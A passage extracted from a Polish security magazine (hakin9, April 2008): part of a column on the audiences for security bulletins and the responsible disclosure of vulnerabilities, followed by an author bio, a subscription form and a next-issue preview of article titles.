końcowym można także nazwać
podmiot korzystający z publicznie
dostępnej usługi telekomunikacyjnej).
Jednak ze względu na fakt
udostępniania informacji, użytkownikiem
końcowym w kontekście bezpieczeństwa
jest każda osoba, która żąda uzyskania
informacji dla zaspokojenia własnych
potrzeb identyfikacji zagrożenia poziomu
zabezpieczeń.

Zatem ostatecznym odbiorcą

biuletynów bezpieczeństwa jest
zawsze konkretny użytkownik lub
grupa użytkowników. To, w jaki sposób
określimy końcowego odbiorcę, zależy
od zakresu, w jakim informacje o
podatności oprogramowania zostały
wykorzystane oraz w jakim stopniu
stały się one użyteczne. Może to
być użytkownik indywidualny lub
korporatywny.

Indywidualnym użytkownikiem jest

jednostka o zdefiniowanych sposobach
użytkowania systemu informatycznego,

Ostatecznym etapem każdego procesu wykrywania luki w oprogramowaniu (stanu

systemu komputerowego, który umożliwia zdobycie dostępu do danych z naruszeniem

określonych ograniczeń dostępu do tych danych) jest wykorzystanie uzyskanych

informacji w celu opublikowania biuletynu bezpieczeństwa.

Użytkownikiem

korporatywnym jest

pewna zbiorowość

złożona z użytkowników

indywidualnych, których

potrzeby posiadania

informacji na temat

stanu bezpieczeństwa

są sumą logiczną

potrzeb każdego

z użytkowników

indywidualnych

wchodzących w skład tej

zbiorowości.

Patryk Krawaczyński jest studentem trzeciego roku Informacji
Naukowej na Uniwersytecie Mikołaja Kopernika w Toruniu. W wolnych
chwilach stara się prowadzić serwis na temat administracji oraz
podstawowych mechanizmów bezpieczeństwa systemu operacyjnego
Linux –
www.nfsec.pl. Jego zainteresowania wiążą się także z ogólnymi
zjawiskami zachodzącymi w społeczeństwie, na które oddziałuje
Technologia Informacyjna.
Kontakt z autorem:
agresor@nfsec.pl

background image

FELIETON

78

HAKIN9 4/2008

użytkowników indywidualnych, których
potrzeby posiadania informacji na
temat stanu bezpieczeństwa są
sumą logiczną potrzeb każdego
z użytkowników indywidualnych
wchodzących w skład tej zbiorowości.
Dlatego biuletyn bezpieczeństwa
przeznaczony dla takiej zbiorowości
musi uwzględniać różne potrzeby
każdego z użytkowników
indywidualnych. Przekazanie informacji
na temat luki w systemie użytkownikowi
korporatywnemu jest przekazaniem
tej samej informacji wszystkim
indywidualnym użytkownikom do niego
należącym.

Niebezpieczeństwo związane z

przekazywaniem wrażliwych informacji
tej zbiorowości polega na tym, iż przy
założeniu, że każdy z użytkowników
indywidualnych korzysta z tego
samego rodzaju systemu czy platformy
sprzętowej, informacje mogą zostać
wykorzystane przez jednostkę, która
otrzymaną informację zinterpretuje jako
pierwsza, posiadającą dostatecznie

dużo czasu do przeprowadzenia
ataków na pozostałych użytkowników
indywidualnych.

Przykładami użytkowników

korporatywnych są przedsiębiorstwa,
urzędy administracji publicznej,
organizacje i instytucje posiadające
wiele komórek organizacyjnych i wielu
użytkowników końcowych. Tak więc
biuletyn bezpieczeństwa przeznaczony
dla zbiorowości powinien znać jej
wewnętrzną strukturę oraz obieg
informacji pomiędzy poszczególnymi
użytkownikami indywidualnymi.

Przy założeniu, że jednym wielkim

użytkownikiem korporatywnym jest
Internet, potrzeby wypuszczania
informacji na temat jego
bezpieczeństwa są zaspokojeniem
potrzeb każdego z użytkowników
stanowiących jego część składową.
Dlatego nie tylko sposób ujawniania
wrażliwej informacji jest tutaj bardzo
ważną kwestią (patrz hakin9 nr
4/2007 (24) Niezdrowe trendy w
bezpieczeństwie – full disclosure
),

ale także umiejętne definiowanie,
która zbiorowość powinna zostać
poinformowana najpierw (np.
producenci oprogramowania, następnie
eksperci ds. bezpieczeństwa, a na
końcu pojedynczy użytkownicy) stwarza
możliwości projektowania bardziej
bezpiecznych i efektywnych procesów
informowania o bezpieczeństwie.
Firmy zajmujące się profesjonalnym
audytem bezpieczeństwa zdają
się o tym zapominać, działając
między dwiema skrajnościami: albo
traktują użytkowników końcowych
jako zbiorowość indywiduów, albo
postrzegają wszystkich jako jednego
użytkownika korporatywnego,
którego potrzeby określone są na
podstawie wymagań nie zawsze
dobrze interpretujących informacje
użytkowników.

Należy pamiętać, iż od sposobu, w

jaki zostanie zinterpretowany biuletyn
bezpieczeństwa, zależy to, czy zostanie
on wykorzystany w jakikolwiek inny
sposób niż być powinien.

R

E

K

L

A

M

A

background image

v

Kontakt

1. Telefon

+48 22 427 36 93

+48 22 427 36 79

+48 22 427 36 53

2. Fax

+48 22 244 24 59

2. Online

pren@software.com.pl

3. Adres

Bokserska 1

02-682 Warszawa

Polska

Roczna prenumerata

tylko

219

hakin9 – jak się obronić to ukazujący się w dwudziestu
czterech krajach Europy magazyn o bezpieczeństwie.
hakin9 porusza sprawy związane z bezpieczeństwem sys-
temów informatycznych – rozpatrywane zarówno od stro-
ny osoby naruszającej bezpieczeństwo, jak i osoby, która
bezpieczeństwo zapewnia. Radzimy jak skutecznie zabez-
pieczyć system przed hakerami i wszelkimi innymi zagro-
żeniami, oprowadzamy Czytelników po tajnikach najpopu-
larniejszych programów antywirusowych, systemów wy-
krywania włamań, narzędziach, których potrzebuje każdy
administrator.

,-

background image

v

Zamówienie prenumeraty

Imię i nazwisko ...............................................................................

Nazwa firmy.....................................................................................

Dokładny adres ..............................................................................

.........................................................................................................

Telefon ............................................................................................

E–mail .............................................................................................

ID kontrahenta ................................................................................

Numer NIP firmy .............................................................................

Fax (wraz z nr kierunkowym) .........................................................

Prosimy wypełniać czytelnie i przesyłać faksem na numer:
00 48 22 244 24 59
lub listownie na adres:
Software-Wydawnictwo Sp. z o. o.
ul. Bokserska 1
02-682 Warszawa
Polska
E-Mail: pren@software.com.pl
Przyjmujemy też zamównienia telefoniczne:
0048 22 427 36 93
0048 22 427 36 79
0048 22 427 36 53

Jeżeli chcesz zapłacić kartą kredytową,
wejdź na stronę naszego sklepu internetowego www.buyitpress.com.

Prenumerujesz

– zyskujesz

l

oszczędność

pieniędzy

l

szybka dostawa

l

prezenty

l

bezpieczna płatność

ność on–line

Tytuł

Ilość

nume-

rów

Ilość

zama-

wianych

prenume-

rat

Od

numeru

pisma

lub mie-

siąca

Cena

hakin9, jak się obronić

(1 płyta CD)

Miesięcznik o

bezpieczeństwie

i hakingu

11

199*/

219

PLN

□ automatyczne przedłużenie prenumeraty

* cena prenumeraty rocznej dla osób prywatnych

Zadzwoń

+48 22 427 36 93

lub

zamów

mailowo!

background image

82

HAKIN9 1/2008

ZA MIESIĄC

W następnym numerze między innymi:

Numer będzie w sprzedaży

na początku maja 2008

Aktualne informacje o najbliższym numerze

znajdziesz na naszej stronie www.hakin9.org/pl.

NA CD

Na dołączonej do pisma płycie znajduje się dystrybucja hakin9.live(h9l)
w wersji 4.0.3 on BackTrack2.0, zawierająca przydatne narzędzia,
dokumentację, tutoriale i materiały dodatkowe do artykułów

hakin9.live – bootowalna dystrybucja Linuksa,

mnóstwo narzędzi – niezbędnik hakera,

tutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułach,

dodatkowa dokumentacja,

pełne wersje komercyjnych aplikacji.

Redakcja zastrzega sobie prawo zmiany zawartości pisma.

OBRONA

PRZEPEŁNIENIE BUFORA I POKREWNE
- JAK ZAPOBIEGAĆ

Bezpieczeństwo oprogramowania to jeden
z największych problemów w branżach
zaawansowanych technologii. Przepełnienie
bufora to błąd, wywołujący największe
obawy, ale również błąd, którego istota
często jest błędnie pojmowana. Czyli dobre
praktyki programistyczne zapewniające
podstawowe bezpieczeństwo aplikacji.

SUHOSIN: ANIOŁ STRÓŻ PHP

Bezpieczeństwo aplikacji WWW bardzo
kuleje, a prostota tworzenia ich w języku
PHP daje im bardzo dużą popularność.
Problem z utrzymywaniem aplikacji
pochodzących z trzeciej ręki rośnie;
nie każda firma przeprowadza testy
bezpieczeństwa swoich produktów, a i one
nie zawsze są skuteczne w 100%.

PEACH 2.0 – ZAAWANSOWANY
FUZZING

Testowanie aplikacji pod kątem
ewentualnych luk na pewno nie jest
czynnością łatwą. W celu zwiększenia
komfortu pracy i szybkości wykonywanych
działań warto posłużyć się odpowiednim i
profesjonalnymi narzędziem, Peach 2.0.

WSPÓCZESNE ROZWIZANIA
WIELOSILNIKOWE

Zagadnienia zwizane z bezpieczestwem
systemów komputerowych w
przedsibiorstwach nabray w cigu ostatnich
lat ogromnego znaczenia. Powodem
zaistniaej sytuacji sta si wzrost iloci rónych
typów zoliwego oprogramowania oraz
metod rozpowszechniania go w sieci
Internet.

ATAK

HAKOWANIE APPLE

Apple od dawna jest producentem
oprogramowania do odtwarzania

multimediów. Jego produkty takie
jak QuickTime czy iTunes zyskały
sobie ogromną popularność wśród
użytkowników, szczególnie, gdy
posiadali oni inny produkt Apple
– iPod'a. Jednak bezpieczeństwo
użytkowników oprogramowania Apple
zostało nadszarpnięte – odkryto lukę,
która pozwala na przejęcie kontroli
nad komputerem ofiary – użytkownika
programu QuickTime

BEZPIECZNE PROGRAMOWANIE
SERWERÓW SIECIOWYCH

System oprogramowania trapdoor2
jest przykładem napisania technik
programistycznych jako ochrony przed
atakami przy uzyciu języka C.

background image
background image

Wyszukiwarka

Podobne podstrony:
Hakin9 36 (04 2008) PL
Hakin9 35 (03 2008) PL
Hakin9 38 (06 2008) PL
Hakin9 34 (02 2008) PL
Hakin9 37 (05 2008) PL
Hakin9 40 (09 2008) PL
Hakin9 24 (04 2007) PL
Hakin9 33 (01 2008) PL
hakin9 07 08 2008 pl
Hakin9 37 (05 2008) PL
Hakin9 33 (01 2008) PL
Hakin9 35 (03 2008) PL
Hakin9 24 (04 2007) PL
Hakin9 40 (09 2008) PL
Hakin9 38 (06 2008) PL
ds seria m420ia pl rev 04 2008
04 2008

więcej podobnych podstron